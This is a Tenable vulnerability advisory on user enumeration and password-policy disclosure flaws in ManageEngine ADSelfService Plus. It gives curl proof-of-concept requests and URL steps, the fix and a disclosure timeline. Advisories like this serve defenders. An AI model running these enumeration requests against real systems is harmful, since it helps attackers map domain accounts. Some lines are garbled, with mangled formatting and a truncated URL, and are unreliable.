

ManageEngine SelfService Plus Multiple Vulnerabilities

Medium

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Synopsis

 $While \ researching \ CVE-2021-28958, \ Tenable \ found \ multiple \ vulnerabilities \ in \ Manage Engine \ ADSelf Service \ Plus \ (ADSSP) \ build \ 6111.$

1) Windows Domain User Existence Determination (CVE-2021-20147) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

ManageEngine ADSelfService Plus (ADSSP) allows an unauthenticated remote attacker to determine whether a Windows domain user exists. The attacker can achieve this with the following steps:

Get configured domain list
curl 'http://cadssp-host>:8888/RestAPI/AuthenticationAPI?operation=domainList'

Response when a domain user exists
oldPassword and newPassword parameters need to pass the domain password policy
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=user1&domainName=<domain>' http://cadssp-host>:8888/RestAPI/Chang
HTTP/1.1 200 OK

Response when a domain user does not exist
oldPassword and newPassword parameters need to pass the domain password policy
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=no_such_user&domainName=<domain>' http://cadssp-host>:8888/RestAF
HTTP/1.1 500 Internal Server Error

2) Windows Domain Password Policy Disclosure (CVE-2021-20148) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

When ADSSP is configured with multiple Windows domains, a user from one domain can obtain the password policy for another domain with the following steps:

- Login to http://<adssp>:8888/ with the credentials of a user in domain A
- Fetch http://<adssp>:8888/RestAPI/PasswordSelfServiceAPI?operation=verifyUser&PSS_OPERATION=aaa ; this should return a list of configured domains
- Fetch http://<adssp>:8888/html/<domain_B_in_uppercase>_PasswordPolicy.html, replacing dot with underscore in the domain name; For example, if domain B is foo.local, fetch FOO



Solution

Update to ManageEngine ADSelfService Plus build 6116.

Disclosure Timeline

08/12/2021 - Vulnerabilities Discovered

9/14/2021 - Tenable reported vulnerabilities to vendor

9/14/2021 - Vendor requested we use the latest ADSSP version (6114) and noted they will investigate the same

9/22/2021 - Tenable reported to vendor that the vulnerabilities still exist in latest ADSSP version (6114) and requested update on their investigation

9/22/2021 - Vendor responded that they are still investigating

11/30/2021 - Tenable requested update on investigation and ETA for patch, reminded vendor of 90-day disclosure date

 $11/30/2021 - Vendor\, responded\, that\, the\, bugs\, have\, been\, fixed\, and\, they'll\, update\, us\, once\, patches\, are\, released\, than the bugs\, have been\, fixed\, and\, they'll\, update\, us\, once\, patches\, are\, released\, than the bugs\, have\, been\, fixed\, and\, they'll\, update\, us\, once\, patches\, are\, released\, than the bugs\, have\, been\, fixed\, and\, they'll\, update\, us\, once\, patches\, are\, released\, than the bugs\, have\, been\, fixed\, and\, they'll\, update\, us\, once\, patches\, are\, released\, than they'll\, update\, us\, once\, patches\, they are they are\, they are they are\, they are they are\, they are they are\, they a$

12/23/2021 - Tenable requested confirmation of patch release

12/23/2021 - Tenable released advisory

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20147 CVE-2021-20148

Tenable Advisory ID: TRA-2021-52 CVSSv3 Base / Temporal Score: 5.3 / 4.9

 $\textbf{CVSSv3 Vector:} \ \ \texttt{CVSS:} 3.1/\texttt{AV:} \texttt{N/AC:} \texttt{L/PR:} \texttt{N/UI:} \texttt{N/S:} \texttt{U/C:} \texttt{L/I:} \texttt{N/A:} \texttt{N/E:} \texttt{F/RL:} \texttt{O/RC:} \texttt{CVSS:} \texttt{O/RC:} \texttt{O/RC:} \texttt{CVSS:} \texttt{O/RC:} \texttt{O/RC:}$

Affected Products: ManageEngine ADSelfService Plus < build 6116

Risk Factor: Medium

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FEATURED PRODUCTS Tenable One Exposure Management Platform Tenable.cs Cloud Security Tenable.io Vulnerability Management Tenable.io Web App Scanning Tenable.asm External Attack Surface Tenable.ad Active Directory Tenable.ot Operational Technology Tenable.sc Security Center Tenable Lumin Nessus → View all Products FEATURED SOLUTIONS Application Security Building Management Systems Cloud Security Posture Management Compliance Exposure Management Finance Healthcare IT/OT State / Local / Education US Federal Vulnerability Management Zero Trust \rightarrow View all Solutions CUSTOMER RESOURCES Resource Library Community & Support Customer Education Tenable Research Documentation Trust and Assurance Nessus Resource Center Cyber Exposure Fundamentals System Status CONNECTIONS Blog Contact Us Careers Investors Events Media





